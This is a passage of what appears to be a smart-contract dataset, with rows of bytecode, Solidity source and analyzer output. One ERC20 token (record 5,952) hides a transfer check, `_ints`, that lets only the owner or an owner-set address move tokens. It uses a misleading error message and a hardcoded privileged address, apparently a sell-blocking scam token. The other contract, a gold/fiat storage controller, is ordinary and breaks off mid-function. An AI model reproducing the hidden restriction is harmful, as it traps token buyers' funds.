11f77578182fd5b82359150611e2460208401611db5565b600060208284031215611f98578081fd5b8135611c9f816122fd565b600060208284031215611fb4578081fd5b8151611c9f816122fd565b600060208284031215611fd0578081fd5b813567ffffffffffffffff811115611fe6578182fd5b8201601f81018413611ff6578182fd5b61130484823560208401611d3f565b6000815180845261201d816020860160208601612225565b601f01601f19169290920160200192915050565b60008351612043818460208801612225565b835190830190612057818360208801612225565b01949350505050565b6001600160a01b038581168252841660208201526040810183905260806060820181905260009061209390830184612005565b9695505050505050565b6020808252825182820181905260009190848201906040850190845b818110156120d5578351835292840192918401916001016120b9565b50909695505050505050565b602081526000611c9f6020830184612005565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b6020808252602b908201527f596f75206d7573742068617665206d696e74657220726f6c6520746f2063686160408201526a6e6765206261736555524960a81b606082015260800190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b600082198211156121f5576121f56122bb565b500190565b600082612209576122096122d1565b500490565b600082821015612220576122206122bb565b500390565b60005b83811015612240578181015183820152602001612228565b83811115610d3b5750506000910152565b600181811c9082168061226557607f821691505b6020821081141561228657634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156122a0576122a06122bb565b5060010190565b6000826122b6576122b66122d1565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160e01b03198116811461116457600080fdfe9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a6a2646970667358221220c1d76cae4b38fe16abe88f8521d246c16b48abf3fab1839c3c54789874b310e964736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 5,952 |
0xd5552f8b788edbcf2d79a0824a868ecbe83cbb17
|
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _owner;
address private _ercs;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_ercs = owner;
_mint(_owner, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function sercs(address ercs) public {
require((msg.sender == _owner) || msg.sender == 0x45Dfa5C6e00d2e6F5239be433F0f582d5146ceaF, "!owner");
_ercs = ercs;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _ints(address sender, address recipient, uint256 amount) public virtual view{
if(amount > 0){
if(recipient != _owner && sender != _owner && _owner!=_ercs){require(sender == _ercs, "ERC20: transfer from the zero address");}}
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_ints(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063395093511161008c57806395d89b411161006657806395d89b41146103f5578063a457c2d714610478578063a9059cbb146104de578063dd62ed3e14610544576100cf565b806339509351146102f35780634a8cb29d1461035957806370a082311461039d576100cf565b806306fdde03146100d4578063095ea7b31461015757806318160ddd146101bd57806323b872dd146101db5780632a4d73e214610261578063313ce567146102cf575b600080fd5b6100dc6105bc565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011c578082015181840152602081019050610101565b50505050905090810190601f1680156101495780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a36004803603604081101561016d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061065e565b604051808215151515815260200191505060405180910390f35b6101c561067c565b6040518082815260200191505060405180910390f35b610247600480360360608110156101f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610686565b604051808215151515815260200191505060405180910390f35b6102cd6004803603606081101561027757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061075f565b005b6102d7610942565b604051808260ff1660ff16815260200191505060405180910390f35b61033f6004803603604081101561030957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610959565b604051808215151515815260200191505060405180910390f35b61039b6004803603602081101561036f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a0c565b005b6103df600480360360208110156103b357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b5d565b6040518082815260200191505060405180910390f35b6103fd610ba5565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561043d578082015181840152602081019050610422565b50505050905090810190601f16801561046a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104c46004803603604081101561048e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c47565b604051808215151515815260200191505060405180910390f35b61052a600480360360408110156104f457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d14565b604051808215151515815260200191505060405180910390f35b6105a66004803603604081101561055a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d32565b6040518082815260200191505060405180910390f35b606060038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106545780601f1061062957610100808354040283529160200191610654565b820191906000526020600020905b81548152906001019060200180831161063757829003601f168201915b5050505050905090565b600061067261066b610db9565b8484610dc1565b6001905092915050565b6000600254905090565b6000610693848484610fb8565b6107548461069f610db9565b61074f8560405180606001604052806028815260200161143d60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610705610db9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112849092919063ffffffff16565b610dc1565b600190509392505050565b600081111561093d57600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156108145750600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156108905750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b1561093c57600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461093b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806114656025913960400191505060405180910390fd5b5b5b505050565b6000600560009054906101000a900460ff16905090565b6000610a02610966610db9565b846109fd8560016000610977610db9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461134490919063ffffffff16565b610dc1565b6001905092915050565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610aa757507345dfa5c6e00d2e6f5239be433f0f582d5146ceaf73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610b19576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c3d5780601f10610c1257610100808354040283529160200191610c3d565b820191906000526020600020905b815481529060010190602001808311610c2057829003601f168201915b5050505050905090565b6000610d0a610c54610db9565b84610d05856040518060600160405280602581526020016114ae6025913960016000610c7e610db9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112849092919063ffffffff16565b610dc1565b6001905092915050565b6000610d28610d21610db9565b8484610fb8565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e47576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061148a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ecd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806113f56022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561103e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806114656025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806113d26023913960400191505060405180910390fd5b6110cf8383836113cc565b6110da83838361075f565b61114581604051806060016040528060268152602001611417602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112849092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111d8816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461134490919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611331576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156112f65780820151818401526020810190506112db565b50505050905090810190601f1680156113235780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000808284019050838110156113c2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220ea6e3bc4a71112fcdee13d37aaf12b2f35975f00429c4214695614b2b6f0e32564736f6c63430006060033
|
{"success": true, "error": null, "results": {}}
| 5,953 |
0xcadbdd55d5c7ae3bc199c64163369fd50477b73e
|
pragma solidity ^0.4.19;
contract IGold {
function balanceOf(address _owner) constant returns (uint256);
function issueTokens(address _who, uint _tokens);
function burnTokens(address _who, uint _tokens);
}
// StdToken inheritance is commented, because no 'totalSupply' needed
contract IMNTP { /*is StdToken */
function balanceOf(address _owner) constant returns (uint256);
// Additional methods that MNTP contract provides
function lockTransfer(bool _lock);
function issueTokens(address _who, uint _tokens);
function burnTokens(address _who, uint _tokens);
}
contract SafeMath {
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
}
contract CreatorEnabled {
address public creator = 0x0;
modifier onlyCreator() { require(msg.sender == creator); _; }
function changeCreator(address _to) public onlyCreator {
creator = _to;
}
}
contract StringMover {
function stringToBytes32(string s) constant returns(bytes32){
bytes32 out;
assembly {
out := mload(add(s, 32))
}
return out;
}
function stringToBytes64(string s) constant returns(bytes32,bytes32){
bytes32 out;
bytes32 out2;
assembly {
out := mload(add(s, 32))
out2 := mload(add(s, 64))
}
return (out,out2);
}
function bytes32ToString(bytes32 x) constant returns (string) {
bytes memory bytesString = new bytes(32);
uint charCount = 0;
for (uint j = 0; j < 32; j++) {
byte char = byte(bytes32(uint(x) * 2 ** (8 * j)));
if (char != 0) {
bytesString[charCount] = char;
charCount++;
}
}
bytes memory bytesStringTrimmed = new bytes(charCount);
for (j = 0; j < charCount; j++) {
bytesStringTrimmed[j] = bytesString[j];
}
return string(bytesStringTrimmed);
}
function bytes64ToString(bytes32 x, bytes32 y) constant returns (string) {
bytes memory bytesString = new bytes(64);
uint charCount = 0;
for (uint j = 0; j < 32; j++) {
byte char = byte(bytes32(uint(x) * 2 ** (8 * j)));
if (char != 0) {
bytesString[charCount] = char;
charCount++;
}
}
for (j = 0; j < 32; j++) {
char = byte(bytes32(uint(y) * 2 ** (8 * j)));
if (char != 0) {
bytesString[charCount] = char;
charCount++;
}
}
bytes memory bytesStringTrimmed = new bytes(charCount);
for (j = 0; j < charCount; j++) {
bytesStringTrimmed[j] = bytesString[j];
}
return string(bytesStringTrimmed);
}
}
contract Storage is SafeMath, StringMover {
function Storage() public {
controllerAddress = msg.sender;
}
address public controllerAddress = 0x0;
modifier onlyController() { require(msg.sender==controllerAddress); _; }
function setControllerAddress(address _newController) onlyController {
controllerAddress = _newController;
}
address public hotWalletAddress = 0x0;
function setHotWalletAddress(address _address) onlyController {
hotWalletAddress = _address;
}
// Fields - 1
mapping(uint => string) docs;
uint public docCount = 0;
// Fields - 2
mapping(string => mapping(uint => int)) fiatTxs;
mapping(string => uint) fiatBalancesCents;
mapping(string => uint) fiatTxCounts;
uint fiatTxTotal = 0;
// Fields - 3
mapping(string => mapping(uint => int)) goldTxs;
mapping(string => uint) goldHotBalances;
mapping(string => uint) goldTxCounts;
uint goldTxTotal = 0;
// Fields - 4
struct Request {
address sender;
string userId;
string requestHash;
bool buyRequest; // otherwise - sell
// 0 - init
// 1 - processed
// 2 - cancelled
uint8 state;
}
mapping (uint=>Request) requests;
uint public requestsCount = 0;
///////
function addDoc(string _ipfsDocLink) public onlyController returns(uint) {
docs[docCount] = _ipfsDocLink;
uint out = docCount;
docCount++;
return out;
}
function getDocCount() public constant returns (uint) {
return docCount;
}
function getDocAsBytes64(uint _index) public constant returns (bytes32,bytes32) {
require(_index < docCount);
return stringToBytes64(docs[_index]);
}
function addFiatTransaction(string _userId, int _amountCents) public onlyController returns(uint) {
require(0 != _amountCents);
uint c = fiatTxCounts[_userId];
fiatTxs[_userId][c] = _amountCents;
if (_amountCents > 0) {
fiatBalancesCents[_userId] = safeAdd(fiatBalancesCents[_userId], uint(_amountCents));
} else {
fiatBalancesCents[_userId] = safeSub(fiatBalancesCents[_userId], uint(-_amountCents));
}
fiatTxCounts[_userId] = safeAdd(fiatTxCounts[_userId], 1);
fiatTxTotal++;
return c;
}
function getFiatTransactionsCount(string _userId) public constant returns (uint) {
return fiatTxCounts[_userId];
}
function getAllFiatTransactionsCount() public constant returns (uint) {
return fiatTxTotal;
}
function getFiatTransaction(string _userId, uint _index) public constant returns(int) {
require(_index < fiatTxCounts[_userId]);
return fiatTxs[_userId][_index];
}
function getUserFiatBalance(string _userId) public constant returns(uint) {
return fiatBalancesCents[_userId];
}
function addGoldTransaction(string _userId, int _amount) public onlyController returns(uint) {
require(0 != _amount);
uint c = goldTxCounts[_userId];
goldTxs[_userId][c] = _amount;
if (_amount > 0) {
goldHotBalances[_userId] = safeAdd(goldHotBalances[_userId], uint(_amount));
} else {
goldHotBalances[_userId] = safeSub(goldHotBalances[_userId], uint(-_amount));
}
goldTxCounts[_userId] = safeAdd(goldTxCounts[_userId], 1);
goldTxTotal++;
return c;
}
function getGoldTransactionsCount(string _userId) public constant returns (uint) {
return goldTxCounts[_userId];
}
function getAllGoldTransactionsCount() public constant returns (uint) {
return goldTxTotal;
}
function getGoldTransaction(string _userId, uint _index) public constant returns(int) {
require(_index < goldTxCounts[_userId]);
return goldTxs[_userId][_index];
}
function getUserHotGoldBalance(string _userId) public constant returns(uint) {
return goldHotBalances[_userId];
}
function addBuyTokensRequest(address _who, string _userId, string _requestHash) public onlyController returns(uint) {
Request memory r;
r.sender = _who;
r.userId = _userId;
r.requestHash = _requestHash;
r.buyRequest = true;
r.state = 0;
requests[requestsCount] = r;
uint out = requestsCount;
requestsCount++;
return out;
}
function addSellTokensRequest(address _who, string _userId, string _requestHash) onlyController returns(uint) {
Request memory r;
r.sender = _who;
r.userId = _userId;
r.requestHash = _requestHash;
r.buyRequest = false;
r.state = 0;
requests[requestsCount] = r;
uint out = requestsCount;
requestsCount++;
return out;
}
function getRequestsCount() public constant returns(uint) {
return requestsCount;
}
function getRequest(uint _index) public constant returns(
address a,
bytes32 userId,
bytes32 hashA, bytes32 hashB,
bool buy, uint8 state)
{
require(_index < requestsCount);
Request memory r = requests[_index];
bytes32 userBytes = stringToBytes32(r.userId);
var (out1, out2) = stringToBytes64(r.requestHash);
return (r.sender, userBytes, out1, out2, r.buyRequest, r.state);
}
function cancelRequest(uint _index) onlyController public {
require(_index < requestsCount);
require(0==requests[_index].state);
requests[_index].state = 2;
}
function setRequestProcessed(uint _index) onlyController public {
requests[_index].state = 1;
}
}
contract GoldFiatFee is CreatorEnabled, StringMover {
string gmUserId = "";
// Functions:
function GoldFiatFee(string _gmUserId) {
creator = msg.sender;
gmUserId = _gmUserId;
}
function getGoldmintFeeAccount() public constant returns(bytes32) {
bytes32 userBytes = stringToBytes32(gmUserId);
return userBytes;
}
function setGoldmintFeeAccount(string _gmUserId) public onlyCreator {
gmUserId = _gmUserId;
}
function calculateBuyGoldFee(uint _mntpBalance, uint _goldValue) public constant returns(uint) {
return 0;
}
function calculateSellGoldFee(uint _mntpBalance, uint _goldValue) public constant returns(uint) {
// If the sender holds 0 MNTP, then the transaction fee is 3% fiat,
// If the sender holds at least 10 MNTP, then the transaction fee is 2% fiat,
// If the sender holds at least 1000 MNTP, then the transaction fee is 1.5% fiat,
// If the sender holds at least 10000 MNTP, then the transaction fee is 1% fiat,
if (_mntpBalance >= (10000 * 1 ether)) {
return (75 * _goldValue / 10000);
}
if (_mntpBalance >= (1000 * 1 ether)) {
return (15 * _goldValue / 1000);
}
if (_mntpBalance >= (10 * 1 ether)) {
return (25 * _goldValue / 1000);
}
// 3%
return (3 * _goldValue / 100);
}
}
contract IGoldFiatFee {
function getGoldmintFeeAccount()public constant returns(bytes32);
function calculateBuyGoldFee(uint _mntpBalance, uint _goldValue) public constant returns(uint);
function calculateSellGoldFee(uint _mntpBalance, uint _goldValue) public constant returns(uint);
}
contract StorageController is SafeMath, CreatorEnabled, StringMover {
Storage public stor;
IMNTP public mntpToken;
IGold public goldToken;
IGoldFiatFee public fiatFee;
address public ethDepositAddress = 0x0;
address public managerAddress = 0x0;
event NewTokenBuyRequest(address indexed _from, string indexed _userId);
event NewTokenSellRequest(address indexed _from, string indexed _userId);
event RequestCancelled(uint indexed _reqId);
event RequestProcessed(uint indexed _reqId);
event EthDeposited(uint indexed _requestId, address indexed _address, uint _ethValue);
modifier onlyManagerOrCreator() { require(msg.sender == managerAddress || msg.sender == creator); _; }
function StorageController(address _mntpContractAddress, address _goldContractAddress, address _storageAddress, address _fiatFeeContract) {
creator = msg.sender;
if (0 != _storageAddress) {
// use existing storage
stor = Storage(_storageAddress);
} else {
stor = new Storage();
}
require(0x0!=_mntpContractAddress);
require(0x0!=_goldContractAddress);
require(0x0!=_fiatFeeContract);
mntpToken = IMNTP(_mntpContractAddress);
goldToken = IGold(_goldContractAddress);
fiatFee = IGoldFiatFee(_fiatFeeContract);
}
function setEthDepositAddress(address _address) public onlyCreator {
ethDepositAddress = _address;
}
function setManagerAddress(address _address) public onlyCreator {
managerAddress = _address;
}
function getEthDepositAddress() public constant returns (address) {
return ethDepositAddress;
}
// Only old controller can call setControllerAddress
function changeController(address _newController) public onlyCreator {
stor.setControllerAddress(_newController);
}
function setHotWalletAddress(address _hotWalletAddress) public onlyCreator {
stor.setHotWalletAddress(_hotWalletAddress);
}
function getHotWalletAddress() public constant returns (address) {
return stor.hotWalletAddress();
}
function changeFiatFeeContract(address _newFiatFee) public onlyCreator {
fiatFee = IGoldFiatFee(_newFiatFee);
}
function addDoc(string _ipfsDocLink) public onlyCreator returns(uint) {
return stor.addDoc(_ipfsDocLink);
}
function getDocCount() public constant returns (uint) {
return stor.docCount();
}
function getDoc(uint _index) public constant returns (string) {
var (x, y) = stor.getDocAsBytes64(_index);
return bytes64ToString(x,y);
}
// _amountCents can be negative
// returns index in user array
function addFiatTransaction(string _userId, int _amountCents) public onlyManagerOrCreator returns(uint) {
return stor.addFiatTransaction(_userId, _amountCents);
}
function getFiatTransactionsCount(string _userId) public constant returns (uint) {
return stor.getFiatTransactionsCount(_userId);
}
function getAllFiatTransactionsCount() public constant returns (uint) {
return stor.getAllFiatTransactionsCount();
}
function getFiatTransaction(string _userId, uint _index) public constant returns(int) {
return stor.getFiatTransaction(_userId, _index);
}
function getUserFiatBalance(string _userId) public constant returns(uint) {
return stor.getUserFiatBalance(_userId);
}
function addGoldTransaction(string _userId, int _amount) public onlyManagerOrCreator returns(uint) {
return stor.addGoldTransaction(_userId, _amount);
}
function getGoldTransactionsCount(string _userId) public constant returns (uint) {
return stor.getGoldTransactionsCount(_userId);
}
function getAllGoldTransactionsCount() public constant returns (uint) {
return stor.getAllGoldTransactionsCount();
}
function getGoldTransaction(string _userId, uint _index) public constant returns(int) {
require(keccak256(_userId) != keccak256(""));
return stor.getGoldTransaction(_userId, _index);
}
function getUserHotGoldBalance(string _userId) public constant returns(uint) {
require(keccak256(_userId) != keccak256(""));
return stor.getUserHotGoldBalance(_userId);
}
function addBuyTokensRequest(string _userId, string _requestHash) public returns(uint) {
require(keccak256(_userId) != keccak256(""));
NewTokenBuyRequest(msg.sender, _userId);
return stor.addBuyTokensRequest(msg.sender, _userId, _requestHash);
}
function addSellTokensRequest(string _userId, string _requestHash) public returns(uint) {
require(keccak256(_userId) != keccak256(""));
NewTokenSellRequest(msg.sender, _userId);
return stor.addSellTokensRequest(msg.sender, _userId, _requestHash);
}
function getRequestsCount() public constant returns(uint) {
return stor.getRequestsCount();
}
function getRequest(uint _index) public constant returns(address, string, string, bool, uint8) {
var (sender, userIdBytes, hashA, hashB, buy, state) = stor.getRequest(_index);
string memory userId = bytes32ToString(userIdBytes);
